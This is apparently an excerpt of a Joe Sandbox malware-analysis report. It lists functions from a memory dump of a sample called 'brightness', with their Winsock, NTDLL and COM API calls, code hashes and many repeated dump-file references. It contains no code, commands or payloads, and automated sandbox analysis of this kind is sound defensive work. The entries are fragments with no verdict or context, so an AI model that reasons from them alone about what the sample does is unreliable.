Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: ErrorEventEventsInfoLastLocaleMultipleSelectWait___crtund_memcpy
String ID:
API String ID: 3218093355-0
Opcode ID: 9745b207a48ce069e549964a030606d811fd00d114d9b43f4a16fd22c890e4a6
Instruction ID: 86bb4fccc35ef199e9359b3a4e6addc2f428b8e12af367f03672d4370925ac8f
Opcode Fuzzy Hash: 9745b207a48ce069e549964a030606d811fd00d114d9b43f4a16fd22c890e4a6
Instruction Fuzzy Hash: B7516AB191020AEFDB54DFA4C985FAFB7B4AF05304F20855AEA16673C0C774AE51CB98

Function 002DF9E0 Relevance: 6.2, APIs: 4, Instructions: 183networkCOMMON

Download Yara Rule

APIs

und_memcpy.LIBCMTD ref: 002DFA3D
WSAEventSelect.WS2_32(00000000,00000000,00000021), ref: 002DFAB9
WSAWaitForMultipleEvents.WS2_32(-00000001,00000000,00000000,000003E8,00000001), ref: 002DFADB
___crtGetLocaleInfoEx.LIBCMTD ref: 002DFB6A

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: EventEventsInfoLocaleMultipleSelectWait___crtund_memcpy
String ID:
API String ID: 1863971664-0
Opcode ID: 2c62bd2eaa4025283237d6a6146e321834adc77bf213c40ec89ee34e4baae2f3
Instruction ID: 2ae047ea9a9b2f6d7ca9b1bfdf3d58725d3591bda38978f5e2543a556679af15
Opcode Fuzzy Hash: 2c62bd2eaa4025283237d6a6146e321834adc77bf213c40ec89ee34e4baae2f3
Instruction Fuzzy Hash: 42614DB091020AEFDB54DFA4C985FAFB775AF48308F20855AE91667380C774AE52CF94

Function 002DF7D0 Relevance: 6.2, APIs: 4, Instructions: 176networkCOMMON

Download Yara Rule

APIs

und_memcpy.LIBCMTD ref: 002DF82A
WSAEventSelect.WS2_32(00000000,00000000,00000021), ref: 002DF869
WSAWaitForMultipleEvents.WS2_32(-00000001,00000000,00000000,00000000,00000000), ref: 002DF88A

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: EventEventsMultipleSelectWaitund_memcpy
String ID:
API String ID: 3111955656-0
Opcode ID: 974db12b46205482d394012467f8dff03f621b3d67ee4c5666fe6d023c388f17
Instruction ID: f18589547a6e67931b40728ea7abc7fe209d343687ce7805bc6c254bc7c17259
Opcode Fuzzy Hash: 974db12b46205482d394012467f8dff03f621b3d67ee4c5666fe6d023c388f17
Instruction Fuzzy Hash: 8B6138B1E10209EFDB54DFA4C995FEFB7B4AB44308F208659E50667380C774AE51CB94

Function 002E0630 Relevance: 6.1, APIs: 4, Instructions: 128networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(?), ref: 002E0697

Part of subcall function 002E0870: WSACreateEvent.WS2_32 ref: 002E0876
Part of subcall function 002E0870: WSAEventSelect.WS2_32(?,00000000,00000002), ref: 002E0893
Part of subcall function 002E0870: WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 002E08D3
Part of subcall function 002E0870: WSACloseEvent.WS2_32(00000000), ref: 002E08E0

___crtGetLocaleInfoEx.LIBCMTD ref: 002E0701

Part of subcall function 002DF670: send.WS2_32(00000000,?,000000FF,002E0E0C), ref: 002DF683

Part of subcall function 002E0790: WSACreateEvent.WS2_32 ref: 002E0796
Part of subcall function 002E0790: WSAEventSelect.WS2_32(?,00000000,00000001), ref: 002E07B3
Part of subcall function 002E0790: WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 002E07F3
Part of subcall function 002E0790: WSACloseEvent.WS2_32(00000000), ref: 002E0800

___crtGetLocaleInfoEx.LIBCMTD ref: 002E073A

Part of subcall function 002DF650: recv.WS2_32(00000000,?,000000FF,002E0A9A), ref: 002DF663

und_memcpy.LIBCMTD ref: 002E076A

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Event$CloseCreateEventsInfoLocaleMultipleSelectWait___crt$htonsrecvsendund_memcpy
String ID:
API String ID: 1915974844-0
Opcode ID: f34e6801a18c40190399dfdb1e437d12d980dab8200c61586decc2fd3b2db773
Instruction ID: 9dd34eb84c298c583dca3d0a84e09e10c2177084520e469979dd370bcf449b2c
Opcode Fuzzy Hash: f34e6801a18c40190399dfdb1e437d12d980dab8200c61586decc2fd3b2db773
Instruction Fuzzy Hash: D5413AB5E50219AFCB04DF94C881EBFBBB5AF88300F148548E605AB341D675E982CFE4

Function 002E04F0 Relevance: 6.1, APIs: 4, Instructions: 116networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(?), ref: 002E0557

Part of subcall function 002E0870: WSACreateEvent.WS2_32 ref: 002E0876
Part of subcall function 002E0870: WSAEventSelect.WS2_32(?,00000000,00000002), ref: 002E0893
Part of subcall function 002E0870: WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 002E08D3
Part of subcall function 002E0870: WSACloseEvent.WS2_32(00000000), ref: 002E08E0

___crtGetLocaleInfoEx.LIBCMTD ref: 002E059D

Part of subcall function 002DF670: send.WS2_32(00000000,?,000000FF,002E0E0C), ref: 002DF683

Part of subcall function 002E0790: WSACreateEvent.WS2_32 ref: 002E0796
Part of subcall function 002E0790: WSAEventSelect.WS2_32(?,00000000,00000001), ref: 002E07B3
Part of subcall function 002E0790: WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 002E07F3
Part of subcall function 002E0790: WSACloseEvent.WS2_32(00000000), ref: 002E0800

___crtGetLocaleInfoEx.LIBCMTD ref: 002E05D6

Part of subcall function 002DF650: recv.WS2_32(00000000,?,000000FF,002E0A9A), ref: 002DF663

und_memcpy.LIBCMTD ref: 002E0606

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Event$CloseCreateEventsInfoLocaleMultipleSelectWait___crt$htonsrecvsendund_memcpy
String ID:
API String ID: 1915974844-0
Opcode ID: 51e6d7be4291a3ee6adb3dcb68341d9c760598ccc149dd687e817cc45c0f93bc
Instruction ID: 653a55c17be48de48cce35e680a4828f95d2883f8f340a0d4696ce08563ef186
Opcode Fuzzy Hash: 51e6d7be4291a3ee6adb3dcb68341d9c760598ccc149dd687e817cc45c0f93bc
Instruction Fuzzy Hash: 4B4181B4E40249AFCB04DF94C981EBFB7B9AF88300F248549E508A7342D675EE51CBB1

Function 002DC090 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

RtlGetVersion.NTDLL(0000011C), ref: 002DC0DA

Strings

NTDLL, xrefs: 002DC0A8
RtlGetVersion, xrefs: 002DC0A3

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Version
String ID: NTDLL$RtlGetVersion
API String ID: 1889659487-3678323915
Opcode ID: 4ca363b0af69568d6db1d3e90b5dfc09bae6a9997e32ed706756400351ad459a
Instruction ID: b51f8369755836c6cf856c93d54c3f555c19711f4d38a8f181bff12a19fba2d2
Opcode Fuzzy Hash: 4ca363b0af69568d6db1d3e90b5dfc09bae6a9997e32ed706756400351ad459a
Instruction Fuzzy Hash: 8FF03070D4122CDFDB24AF64DC49BD8B7B8AB0D314F0001D5994863380CB745AE4CF58

Function 002DCDB0 Relevance: 4.6, APIs: 3, Instructions: 72comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 002DCDB8
CoCreateInstance.COMBASE(002F7C70,00000000,00000001,002F7BE0,?), ref: 002DCDD8
CoUninitialize.COMBASE ref: 002DCE5D

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
